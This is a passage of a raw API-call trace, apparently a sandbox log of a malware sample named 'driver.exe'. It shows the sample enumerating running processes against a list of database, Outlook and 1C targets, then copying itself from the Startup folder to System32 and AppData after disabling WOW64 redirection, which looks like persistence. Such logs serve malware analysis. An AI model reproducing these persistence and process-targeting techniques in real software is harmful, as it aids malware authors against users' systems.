lpString2="wininit.exe") returned -1 [0178.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0178.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0178.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0178.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.347] lstrlenW (lpString="csrss.exe") returned 9 [0178.347] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0178.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0178.347] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0178.347] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0178.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0178.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0178.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0178.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0178.349] lstrlenW (lpString="winlogon.exe") returned 12 [0178.349] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0178.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0178.349] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0178.349] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0178.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0178.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0178.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0178.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0178.350] lstrlenW (lpString="services.exe") returned 12 [0178.350] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0178.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0178.350] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0178.351] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0178.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0178.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0178.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0178.351] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0178.352] lstrlenW (lpString="lsass.exe") returned 9 [0178.352] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0178.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0178.352] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0178.352] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0178.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0178.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0178.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0178.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0178.354] lstrlenW (lpString="lsm.exe") returned 7 [0178.354] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0178.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0178.354] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0178.354] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0178.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0178.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0178.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0178.355] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.355] lstrlenW (lpString="svchost.exe") returned 11 [0178.356] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0178.356] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0178.356] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0178.356] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0178.356] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0178.356] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0178.356] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0178.356] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.437] lstrlenW (lpString="svchost.exe") returned 11 [0178.437] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0178.437] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0178.437] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0178.437] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0178.437] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0178.437] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0178.437] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0178.437] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.438] lstrlenW (lpString="svchost.exe") returned 11 [0178.438] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0178.438] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0178.438] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0178.438] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0178.438] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0178.439] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0178.439] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0178.439] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0178.440] lstrlenW (lpString="LogonUI.exe") returned 11 [0178.440] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0178.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0178.440] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0178.440] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0178.440] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0178.440] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0178.440] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0178.440] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.441] lstrlenW (lpString="svchost.exe") returned 11 [0178.441] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0178.441] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0178.442] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0178.442] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0178.442] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0178.442] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0178.442] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0178.442] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.443] lstrlenW (lpString="svchost.exe") returned 11 [0178.443] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0178.443] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0178.443] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0178.443] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0178.443] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0178.443] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0178.443] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0178.443] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0178.444] lstrlenW (lpString="audiodg.exe") returned 11 [0178.444] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0178.445] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0178.445] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0178.445] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0178.445] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0178.445] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0178.445] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0178.445] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.446] lstrlenW (lpString="svchost.exe") returned 11 [0178.446] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0178.446] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0178.446] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0178.446] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0178.446] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0178.446] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0178.447] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0178.447] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0178.448] lstrlenW (lpString="userinit.exe") returned 12 [0178.448] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0178.448] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0178.448] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0178.448] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0178.448] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0178.448] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0178.448] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0178.448] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0178.449] lstrlenW (lpString="explorer.exe") returned 12 [0178.449] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0178.449] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0178.449] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0178.450] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0178.451] lstrlenW (lpString="dwm.exe") returned 7 [0178.451] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.452] lstrlenW (lpString="svchost.exe") returned 11 [0178.452] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0178.453] lstrlenW (lpString="runonce.exe") returned 11 [0178.453] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0178.454] lstrlenW (lpString="driver.exe") returned 10 [0178.454] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0178.455] lstrlenW (lpString="spoolsv.exe") returned 11 [0178.455] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0178.456] lstrlenW (lpString="taskhost.exe") returned 12 [0178.457] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0178.457] CloseHandle (hObject=0xe0) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5540 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5588 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894a58 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b55d0 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5618 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b4d28 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8949d0 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8949f0 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894610 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894638 | out: hHeap=0x880000) returned 1 [0178.458] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894a38 | out: hHeap=0x880000) returned 1 [0178.459] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894660 | out: hHeap=0x880000) returned 1 [0178.459] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8baea8 [0178.459] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8caeb0 [0178.460] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.461] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x894660 [0178.461] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894660, Size=0x40) returned 0x8b6c60 [0178.461] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.461] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x894660 [0178.461] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.461] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x894638 [0178.461] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.461] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x894610 [0178.461] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894610, Size=0x40) returned 0x8b6ca8 [0178.461] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8caeb0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe")) returned 0x66 [0178.461] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8daeb8 [0178.462] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8eaec0 [0178.464] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.464] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x894610 [0178.464] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894610, Size=0x40) returned 0x8b6cf0 [0178.464] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6cf0, Size=0x80) returned 0x8b5540 [0178.464] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5540, Size=0x100) returned 0x8b7e68 [0178.464] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0178.464] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7e68 | out: hHeap=0x880000) returned 1 [0178.464] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\driver.exe", lpDst=0x8daeb8, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\driver.exe") returned 0x1f [0178.464] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8eaec0 | out: hHeap=0x880000) returned 1 [0178.464] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8daeb8 | out: hHeap=0x880000) returned 1 [0178.465] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x2050020 [0178.465] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.465] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x894610 [0178.465] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.465] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x8b5be8 [0178.465] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0178.466] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0178.466] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0178.466] lstrlenW (lpString="kernel32.dll") returned 12 [0178.466] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894610 | out: hHeap=0x880000) returned 1 [0178.466] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0178.466] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5be8 | out: hHeap=0x880000) returned 1 [0178.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0178.466] CreateFileW (lpFileName="C:\\Windows\\System32\\driver.exe" (normalized: "c:\\windows\\system32\\driver.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.469] CloseHandle (hObject=0xe0) returned 1 [0178.471] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.471] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x8b5be8 [0178.471] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.471] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x8b5b98 [0178.472] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0178.472] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0178.472] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0178.472] lstrlenW (lpString="kernel32.dll") returned 12 [0178.472] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5b98 | out: hHeap=0x880000) returned 1 [0178.472] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0178.472] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5be8 | out: hHeap=0x880000) returned 1 [0178.472] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x880000) returned 1 [0178.472] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8daeb8 [0178.472] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8eaec0 [0178.473] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.473] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x8b5be8 [0178.473] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5be8, Size=0x40) returned 0x8b6cf0 [0178.473] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6cf0, Size=0x80) returned 0x8faee0 [0178.473] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8b7e68 [0178.473] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0178.473] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7e68 | out: hHeap=0x880000) returned 1 [0178.473] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\driver.exe", lpDst=0x8daeb8, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\driver.exe") returned 0x39 [0178.473] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8eaec0 | out: hHeap=0x880000) returned 1 [0178.473] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8daeb8 | out: hHeap=0x880000) returned 1 [0178.474] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x2050020 [0178.474] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.474] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x8b5be8 [0178.474] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0178.474] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x8b5b98 [0178.474] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0178.474] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0178.475] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0178.475] lstrlenW (lpString="kernel32.dll") returned 12 [0178.475] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5be8 | out: hHeap=0x880000) returned 1 [0178.475] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0178.475] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5b98 | out: 